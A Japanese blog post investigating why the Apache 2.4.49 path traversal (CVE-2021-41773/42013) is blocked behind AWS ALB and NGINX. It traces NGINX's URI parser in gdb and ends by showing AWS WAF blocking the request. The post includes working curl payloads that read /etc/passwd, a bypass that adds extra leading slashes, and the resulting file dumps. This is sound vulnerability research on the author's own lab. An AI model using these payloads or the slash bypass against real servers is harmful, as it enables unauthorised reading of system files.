ALB配下のApache HTTP Serverに対して脆弱性(CVE-2021-41733)の再現ができない理由をNGINXの挙動から考えてみた

この記事は公開されてから1年以上経過しています。情報が古い可能性がありますので、ご注意ください。

ALBの実装はわからないのであくまで考察となります。
ALBについて考えてみたと謳っていますが、メインはNGINXのソースリーディングです。
少し長いですが、AWS環境でパストラバーサル攻撃の検証を行う際には頭の片隅に入れておくと良いかもしれません。

背景

2021/10/5にApache HTTP Server(以下Apache)の脆弱性が報告されました(CVE-2021-41733, CVE-2021-42013)。
Apacheの2.4.49および2.4.50においてパストラバーサル攻撃およびリモートコード実行の可能性があります。
※Amazon Linux2でyum経由でインストールすると2021/10/11時点では2.4.48がインストールされ、現在(2021/10/28)は2.4.51がインストールされるため今回は影響無しとなります。
2.4.49もしくは2.4.50をインストールして検証したいため、ソースからコンパイルして脆弱性を確認しました。
EC2インスタンスにApache2.4.49を構成して、下記のようにIPアドレスを指定してコマンドを実行することで/etc/passwdファイルを表示させることに成功しました。

$ curl [EC2のIPアドレス]/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

%2e.をURIエンコードしたものであるため、単純な/../が連続したリクエストを送り、ルートディレクトリから遡ったアクセスが可能ということになります。
一方、ALB配下のEC2に対して同様に実行すると400 Bad Requestが返り、再現することができませんでした。

今回はこのような挙動になった理由を探ろうとした記事となります。

[補足]

下記サイオス社の記事を参考にさせていただいて、CentOS8 Streamにapache2.4.49をインストールし、httpd.confファイルを修正しました。
規定だと``ディレクティブでRequire all deniedと設定されています。
この設定がRequire all grantedになっている時のみ今回の脆弱性によってパストラバーサル攻撃が可能になります。
Apache HTTP Serverの脆弱性情報(Critical: CVE-2021-42013, Important: CVE-2021-41773, Moderate: CVE-2021-41524) (PoCつき)と新バージョン(2.4.51) OSS脆弱性ブログ

いきなりまとめ

  • ALBやNGINXがWebサーバの前段でパストラバーサル攻撃を防ぐ可能性があります。
  • 今回、NGINXは相対パスを解決しようとした際に異常終了することで結果的にパストラバーサル攻撃を防いでいました。(ALBも似たようなことが起きている可能性が高い)
  • ALBやNGINXがパストラバーサル攻撃を防いでいても意図して防いでいるわけではなく、少し異なるパターンで突破される可能性もあります。(今回は/を増やすと突破可能)
  • 気付きにくい脆弱性であってもWAFを適用することで典型的な攻撃を防ぐことができるため、有効です。

アクセスログ確認

ALB配下のApacheに対してパストラバーサル攻撃を実行した際のレスポンスをより詳細に見てみます。
(※今回、ALBに対してALIASレコードでwww.masukawa.classmethod.infoを設定しています。)

$ curl www.masukawa.classmethod.info/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd --verbose
*   Trying 13.113.116.38:80...
* Connected to www.masukawa.classmethod.info (13.113.116.38) port 80 (#0)
> GET /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
> Host: www.masukawa.classmethod.info
> User-Agent: curl/7.79.1
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 400 Bad Request
< Server: awselb/2.0
< Date: Thu, 21 Oct 2021 07:07:19 GMT
< Content-Type: text/html
< Content-Length: 122
< Connection: close
<
<html>
<head><title>400 Bad Request</title></head>
<body>
<center><h1>400 Bad Request</h1></center>
</body>
</html>
* Closing connection 0

このリクエストの際のログを確認してみました。
まず、Apacheにはアクセスログが残りませんでした。
ALBが400 Bad Requestを返しており、ApacheにHTTPリクエストが送られていないようです。
そのため、ALBのアクセスログについてのみ確認します。

http 2021-10-21T07:07:19.118127Z app/test-apache/bfaa42bb72f53167 xxx.xxx.xxx.xxx:52489 - -1 -1 -1 400 - 61 272 "GET http://test-apache-284878154.ap-northeast-1.elb.amazonaws.com:80- HTTP/1.1" "-" - - - "-" "-" "-" - 2021-10-21T07:07:19.098000Z "-" "-" "-" "-" "-" "-" "-"

クライアントからのアクセスは下記のように記録されております。
GET http://verification-apache-1032368306.ap-northeast-1.elb.amazonaws.com:80- HTTP/1.1 Route53でALIASレコードの設定を行っているのに関わらず、ALB作成時に払い出されたDNS名が表示されており、パスが表示される欄は-となっております。
通常"GET http://www.masukawa.classmethod.info:80/ HTTP/1.1"のようにホスト:ポート+パスと記載されるため、通常とは明らかに異なる形式でログが残っています。
次に、ALBがdesync攻撃を回避するためにRFC7230に準拠していないリクエストをブロックしていないかを確認します。
アクセスログにおいて末尾の2項目がこの機能に関連する部分になります。

"classification":desync緩和の分類。リクエストがRFC7230に準拠していない場合に設定される。リクエストがRFC7230に準拠している場合、"-"に設定される。
"classification_reason":分類理由コード。リクエストがRFC7230に準拠している場合は"-"に設定される。

Application Load Balancerのアクセスログ

今回はclassificationおよびclassification_reason-になっていました。
クライアントが HTTP 仕様を満たさない誤った形式のリクエストを送信した場合、ALBが400 Bad Requestを返却することはAWSのドキュメントからも確認できます。
今回に関しては、RFC7230に準拠はしていないからブロックされたわけではないようです。
Application Load Balancer のトラブルシューティング

NGINXを構成した際のトラバーサル攻撃

この件を相談したところ、弊社の鈴木亮にNGINXやALBが意図せずパストラバーサル攻撃を防いでいるかもしれないと記載された記事を紹介していただきました。
NGINX may be protecting your applications from traversal attacks without you even knowing

さっそくNGINXをリバースプロキシとして構成して再現を試みました。
構成図は下記になります。

プロキシサーバとして構成するためにnginx.confのhttpディレクティブを下記のように設定します。

http {
    log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
                      '$status $body_bytes_sent "$http_referer" '
                      '"$http_user_agent" "$http_x_forwarded_for"';

    access_log  /var/log/nginx/access.log  main;

    -------------中略----------------------

    server {
        listen       80;
        listen       [::]:80;
        server_name  _;
        # root         /usr/share/nginx/html;

        # Load configuration files for the default server block.
        include /etc/nginx/default.d/*.conf;

        location / {
            # WEBリクエストをapacheサーバ80番ポートへリダイレクト
            proxy_pass http://10.0.1.175:80/;
        }

        -------------中略----------------------   
    }

}

この状態でALBに実施したのと同様のトラバーサル攻撃を試みたところ、400 Bad Requestが返却されました。

$ curl http://<Nginxを構築したサーバのIPアドレス>/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
<html>
<head><title>400 Bad Request</title></head>
<body>
<center><h1>400 Bad Request</h1></center>
<hr><center>nginx/1.20.0</center>
</body>
</html>

先述のRotem Barさんの記事によるとmerge_slashesパラメータをoffにして、URIのパス部分の先頭に余分な/をつけることでNGINXを経由した場合もパストラバーサル攻撃を実行できると記載されていました。
/../../../etc/passwdのような攻撃はブロックされるが、/////////../../../etc/passwdのようにアクセスすればバイパスできるということのようです。
ngx_http_parse_complex_uri(ngx_http_request_t *r, ngx_uint_t merge_slashes)が実際にURIの解析を行っている関数ということは記載がありましたが、/を増やすことでバイパスできる理由がわからなかったことと、少しでもNGINXの挙動を深く知ることでALBの挙動についても考察できると思ったため、NGINXの挙動を追ってみることにしました。
次からgdbを使用してこの時の挙動を見てみます。

NGINXソースリーディング

まず、NGINXをインストールします。 今回は最適化をさせずにコンパイルしたいことからソースからコンパイルします。
せっかくソースコードからダウンロードするので現時点での最新版(1.21.3)をインストールすることとします。
詳細なインストール手順は最後におまけとして記載します。
gdbでデバッグするために、NGINXのworkerプロセスのプロセス番号(PID)を確認します。

$ ps aux | grep nginx
root     10002  0.0  0.0  20884   408 ?        Ss   13:20   0:00 nginx: master process ./nginx
nobody   10003  0.0  0.2  21332  2748 ?        S    13:20   0:00 nginx: worker process
ssm-user 10033  0.0  0.0 121268   956 pts/0    S+   13:33   0:00 grep nginx

gdbを立ち上げて、workerプロセスのプロセス番号を指定してアタッチします。

$ sudo gdb
$ (gdb)attach 10003

今回はngx_http_parse_complex_uri(ngx_http_request_t *r, ngx_uint_t merge_slashes)でURIを解析していることがわかっているのでこの関数にbreakpointを設定します。
(どのブレークポイントにも引っかからなかった際の挙動が怪しかったのでmain関数にも貼りました)

b main
b ngx_http_parse_complex_uri

実行します。

run

Start it from the beginning?と聞かれるのでNoを選びます。
この状態でcurlでNGINXにリクエストを送り、stepで1行ずつ動かしながら変数の状態等を確認します。
今回挙動を確認する関数はNGINXの中でもnginx/src/http/ngx_http_parse.cに存在します。
ngx_http_parse_complex_uri関数の概要ですが、引数として渡されるngx_http_request_t *rにリクエストされたURI等の情報が格納されています。
その上で、変数stateで状態を管理しながらURIのパスを解析します。
解析の主な内容はURIエンコーディングのデコードと相対パスの解決です。
pが解析するURIの開始位置を指すポインタであり、uは解析した後のURIを格納する位置を指すポインタです。
それぞれ引数rから取得します。
また、stateの初期値はsw_usualとなります。

state = sw_usual;
p = r->uri_start;
u = r->uri.data;

ch=*p++でpをインクリメントさせながらchにURIを1文字ずつ取得し、stateとchの値によって行う処理を決定します。
また、*u++ = chでuに処理した後の文字を格納した後、uには次の文字を格納する位置を保持させます。
uの初期値が示す地点から、処理が終わった際にuが示す地点までに解析処理を終えたURIのパスが格納されます。

状態遷移図は下記のようになります。
?#など他の特殊文字が入力された時のフローも存在しますが、今回の話に絡まないため省略しています。

sw_quotedsw_quoted_stateはURIデコードを実行するための状態で、入力に%が渡された際に入ります。
/../の入力を発見したらポインタを4つ分戻して、さらに次の/が見つかるまでロールバックする(実際はポインタを戻す)処理が入ります。
実際に、/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwdがリクエストされた際の挙動を確認します。
今回uは0xde3a78でスタートします。(この値はr-&gt;uri.dataとして引数から渡されます)
/およびc等の特殊文字以外の文字は*u++ = ch;によってそのまま格納されていきます。
/cgi-bin/まで読んだ時、uは0xde3a81、stateはsw_slashであり、下記状態になります。

ch=%が渡されると、%を含めて3文字分をURIエンコーディングされた文字列とみなし、デコードしようとします。
さらに、デコードした結果をchとし、%が入力された時のstateを使用して次の処理に移ります。
したがって、/%2eが入力された後、ch=. state=sw_slashとなります。
ゆえに、/%2e%2eを処理する際、1つ目の.sw_dot状態に入り、2つ目の..が連続した状態を表すsw_dot_dotに入ります。
stateがsw_dot_dotでch=/が入力されると下記処理が入ります。これは/../の分ロールバックする処理になります。

u -= 4


この時、/../の分ロールバックした後に、さらに次の/までロールバックします。
つまり、uが指す位置に/が格納されている地点までuをデクリメントし続けます。
この操作が一つ上の階層への移動に相当します。

/を見つけたらuを一つだけ進め、次の文字の処理に移ります。

今回は再度/../が入力されるため、下記の状況になります。
したがって、u-=4が実行された後、uは書きこみ始めた地点を超えてロールバックすることになります。

u-=4の後は下記の処理が入ります(次の/までロールバックする処理)。
u uri.dataに相当する、つまり、書き込み始めを超えてロールバックした場合、NGX_HTTP_PARSE_INVALID_REQUESTを返して解析を終了します。

for ( ;; ) {
    if (u < r->uri.data) {
        return NGX_HTTP_PARSE_INVALID_REQUEST;
    }
    if (*u == '/') {
        u++;
        break;
    }
    u--;
}

関数ngx_http_parse_complex_uri()自体は下記のように呼び出されており、戻り値がNGX_OKで無ければ、不正なリクエストとしてリクエストを終了します。

if (ngx_http_parse_complex_uri(r, cscf->merge_slashes) != NGX_OK) {
    r->uri.len = 0;

    ngx_log_error(NGX_LOG_INFO, r->connection->log, 0,
                          "client sent invalid request");
    ngx_http_finalize_request(r, NGX_HTTP_BAD_REQUEST);
    return NGX_ERROR;
}

NGINX配下のApacheにパストラバーサル攻撃するには?

まず、URIの/を増やして、/////cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwdのような形でリクエストします。
/を増やすことでuのスタート位置を超えてロールバックすることがなくなるため、異常終了せずに最後までデコードを完了させることができるようになります。

また、/を増やしてリクエストする際にmerge_slashesをオフに設定する必要があります。
merge_slachesがオンである場合、stateがsw_slashの状態で/が入力された場合に、処理をせず次の文字の処理に移ります。

case sw_slash:
    switch (ch) {
        case '/':
            if (!merge_slashes) {
                *u++ = ch;
            }
            break;
    }

また、NGINXでは配下のサーバにリクエストを投げる際にurirequest_uriで2種類のパスを使い分けることができます。
uriはNGINXによってパースされた後のURIのパスで、request_uriはNGINXが受け取ったURIのパスをそのままリクエストします。
request_uriでリクエストする際もパーサ自体は走るので/../が連続するようなURIでアクセスを試みると今回と同じように400 Bad Requestとなります。
今回の場合ではuri/etc/passwdであり、request_uri/////cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwdとなります。
今回NGINX経由でパストラバーサル攻撃を実施するためにはrequest_uriを使用して配下のサーバにリクエストさせる必要があります。

最終的なnginx.confは下記となります。

http {
    -------------中略---------------------------
    merge_slashes off;

    server {
        listen       80;
        server_name  xxx.xxx.xxx.xxx;

        #access_log  logs/host.access.log  main;
        location / {
            # WEBリクエストをapacheサーバ80番ポートへリダイレクト
            proxy_pass http://10.0.1.175:80/$request_uri;
        }
    }
}

上記設定で構成したNGINXに対して下記コマンドを実行することでパストラバーサル攻撃を実施することができました。

$ curl http://54.250.240.207/////cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
systemd-coredump:x:999:997:systemd Core Dumper:/:/sbin/nologin
systemd-resolve:x:193:193:systemd Resolver:/:/sbin/nologin
tss:x:59:59:Account used for TPM access:/dev/null:/sbin/nologin
polkitd:x:998:996:User for polkitd:/:/sbin/nologin
unbound:x:997:994:Unbound DNS resolver:/etc/unbound:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
sssd:x:996:993:User for sssd:/:/sbin/nologin
setroubleshoot:x:995:992::/var/lib/setroubleshoot:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
cockpit-ws:x:994:991:User for cockpit web service:/nonexisting:/sbin/nologin
cockpit-wsinstance:x:993:990:User for cockpit-ws instances:/nonexisting:/sbin/nologin
chrony:x:992:989::/var/lib/chrony:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rngd:x:991:988:Random Number Generator Daemon:/var/lib/rngd:/sbin/nologin
centos:x:1000:1000:Cloud User:/home/centos:/bin/bash
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
ssm-user:x:1001:1001::/home/ssm-user:/bin/bash
libstoragemgmt:x:990:986:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
pesign:x:989:985:Group for the pesign signing daemon:/var/run/pesign:/sbin/nologin

ALB配下のApacheにパストラバーサル攻撃するには?

ALB背後のApacheへのトラバーサル攻撃についても考えてみます。
まず、ALBがNGINXと同じようなアルゴリズムでURIを解析していると仮定して、下記2点について確認しました。

  • URI内に連続した/があったらまとめるか
  • 相対パスを解決してリクエストを投げているのか(NGINXでのuri)、それとも元々のリクエストを配下のサーバにリクエストしているのか(NGINXでのrequest_uri)

1点目の確認のために、下記リクエストをALBに送信します。

curl http://www.masukawa.classmethod.info/////////index.html

Apacheのアクセスログには/////////index.htmlとURIのパスがそのまま記録されます。
NGINXのデフォルト設定時と違い、/をまとめる処理は入っていないようです。
2点目についてですが、/etc/../etc/../index.htmlにアクセスした場合はApacheのアクセスログに/index.htmlと記録されます。
したがって、相対パスを解決して解決したURIを配下のWebサーバにリクエストしているようです。
ただ、/etc/%2e%2e/etc/%2e%2e/passwdにアクセスした場合はApacheのログにそのまま記録されました。
相対パスを解決する機構はありそうですが、URIエンコーディングした場合には特に解決せずにリクエストが送られています。
以上の結果も踏まえて、NGINXと同様に下記リクエストを送信したところ400 Bad Requestが返りました。  

curl http://www.masukawa.classmethod.info/////cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
<html>
<head><title>400 Bad Request</title></head>
<body>
<center><h1>400 Bad Request</h1></center>
</body>
</html>

/をさらに追加して9個以上にした際にALBを介してパストラバーサル攻撃を実施することができました。

curl http://www.masukawa.classmethod.info/////////cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
systemd-coredump:x:999:997:systemd Core Dumper:/:/sbin/nologin
systemd-resolve:x:193:193:systemd Resolver:/:/sbin/nologin
tss:x:59:59:Account used for TPM access:/dev/null:/sbin/nologin
polkitd:x:998:996:User for polkitd:/:/sbin/nologin
unbound:x:997:994:Unbound DNS resolver:/etc/unbound:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
sssd:x:996:993:User for sssd:/:/sbin/nologin
setroubleshoot:x:995:992::/var/lib/setroubleshoot:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
cockpit-ws:x:994:991:User for cockpit web service:/nonexisting:/sbin/nologin
cockpit-wsinstance:x:993:990:User for cockpit-ws instances:/nonexisting:/sbin/nologin
chrony:x:992:989::/var/lib/chrony:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rngd:x:991:988:Random Number Generator Daemon:/var/lib/rngd:/sbin/nologin
centos:x:1000:1000:Cloud User:/home/centos:/bin/bash
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
ssm-user:x:1001:1001::/home/ssm-user:/bin/bash
libstoragemgmt:x:990:986:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
pesign:x:989:985:Group for the pesign signing daemon:/var/run/pesign:/sbin/nologin

ALB配下のApache2.4.49に対してCVE-2021-42013を使用してパストラバーサル攻撃を行う際にはNGINXの時よりも多くの/を付加する必要がありました。
今回の脆弱性では、/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwdへリクエストした場合(%2e%2eが5つ)も、/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwdへリクエストした場合(%2e%2eが4つ)もトラバーサル攻撃を行うことが可能です。
/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwdの場合は/を7つ以上にした場合に、/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwdの場合は/を9つ以上にした場合にALBにブロックされずに攻撃を実行することができています。
ロールバックした時に連続している/は無視されるのか、はたまた全く違うアルゴリズムで動いているのか、ALBの実装は見れないこともあり、この点についてはわからなかったです。

AWS WAFで防げたのか?

最後にAWS WAFを使用して今回のパストラバーサル攻撃を防ぐことができるか確認してみました。
あくまで%2e%2eが続く単純なリクエストについてのみ検証します。(今回の脆弱性では他にも脆弱性を利用できるURL文字列が存在します)
また、WAFのログをKinesis Data Firehoseを介してS3に格納して確認します。

(※省略してしまいましたが、ALBはもう一つのsubnet(10.0.2.0/24)にもまたがって配置されています)

ルールは下記AWSマネージドルールを選択します。
Core Rule Set:一般的なルール。OWASPやCVEに記載されているものが含まれる。
先程と同様のパストラバーサル攻撃を実行すると403レスポンスが返りました。

curl http://www.masukawa.classmethod.info/////////cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
</body>
</html>

この時のログは下記になります。

{
    "timestamp": 1635173591638,
    "formatVersion": 1,
    "webaclId": "xxxxxxxxxxxxxxxxxxxxxxxxxx",
    "terminatingRuleId": "AWS-AWSManagedRulesCommonRuleSet",
    "terminatingRuleType": "MANAGED_RULE_GROUP",
    "action": "BLOCK",
    "terminatingRuleMatchDetails": [],
    "httpSourceName": "ALB",
    "httpSourceId": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
    "ruleGroupList": [
        {
            "ruleGroupId": "AWS#AWSManagedRulesCommonRuleSet",
            "terminatingRule": {
                "ruleId": "GenericLFI_URIPATH",
                "action": "BLOCK",
                "ruleMatchDetails": null
            },
            "nonTerminatingMatchingRules": [],
            "excludedRules": null
        }
    ],
    "rateBasedRuleList": [],
    "nonTerminatingMatchingRules": [],
    "requestHeadersInserted": null,
    "responseCodeSent": null,
    "httpRequest": {
        "clientIp": "xxx.xxx.xxxx.xxx",
        "country": "JP",
        "headers": [
            {
                "name": "Host",
                "value": "www.masukawa.classmethod.info"
            },
            {
                "name": "User-Agent",
                "value": "curl/7.79.1"
            },
            {
                "name": "Accept",
                "value": "*/*"
            }
        ],
        "uri": "/////////cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd",
        "args": "",
        "httpVersion": "HTTP/1.1",
        "httpMethod": "GET",
        "requestId": "1-6176c4d7-4253e6be2496fd163ebfc91b"
    },
    "labels": [
        {
            "name": "awswaf:managed:aws:core-rule-set:GenericLFI_URIPath"
        }
    ]
}

AWS WAFのログよりGenericLFI_URIPATHによってBLOCKされていることが確認できます。
ローカルファイルインクルージョンを悪用するリクエストが検出されているということで、AWS WAFがパストラバーサル攻撃を防いでいることが確認できます。

最後に

今回は/cgi-bin/%2e%2e/%2e%2e/...でアクセスできるという情報があり、このリクエストをチェックしてみて問題ないからOKとはならないというのが知見です。
意図せず守ってしまうけど守りきれないという迷惑(?)な状況をつくりだしてしまう可能性があるので、セキュリティチェックの際は頭の片隅に入れておくと良いかもしれません。
パストラバーサル攻撃はAWS WAFで守るようにしましょう!

(おまけ)NGINXインストール

NGINXのコンパイル時に必要となるgccとzlib-develとpcre-develおよび、デバッカであるgdbをインストールします。

$ sudo yum update -y
$ sudo yum install gcc gdb zlib-devel pcre-devel

今回は/usr/localにインストールすることにします。

$ cd /usr/local
$ sudo wget http://nginx.org/download/nginx-1.21.3.tar.gz
$ sudo tar -xf nginx-1.21.3.tar.gz
$ cd nginx-1.21.3

準備が整ったのでコンパイルします。
-O0オプションが大事です。
頑張ってソースからインストールしても-O0を付け忘れるとと表示されて、確認したい値を確認できない可能性があります。

$ sudo ./configure --with-debug --with-cc-opt='-O0 -g'
$ sudo make 
$ sudo make install

make installによって/usr/localnginxディレクトリが構成されているはずなので移動してバージョン確認を実施します。

$ cd ../nginx/sbin
$ sudo ./nginx -V
nginx version: nginx/1.21.3
built by gcc 7.3.1 20180712 (Red Hat 7.3.1-13) (GCC)
configure arguments: --with-debug --with-cc-opt='-O0 -g'

httpディレクティブにproxy_passの設定をして起動します。

$ sudo ./nginx